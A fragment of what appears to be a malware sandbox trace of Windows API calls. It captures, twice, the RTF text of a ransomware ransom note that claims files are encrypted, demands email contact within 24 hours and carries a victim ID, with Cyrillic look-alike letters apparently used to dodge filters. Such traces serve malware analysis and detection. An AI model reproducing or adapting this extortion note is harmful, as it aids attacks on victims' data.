pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third 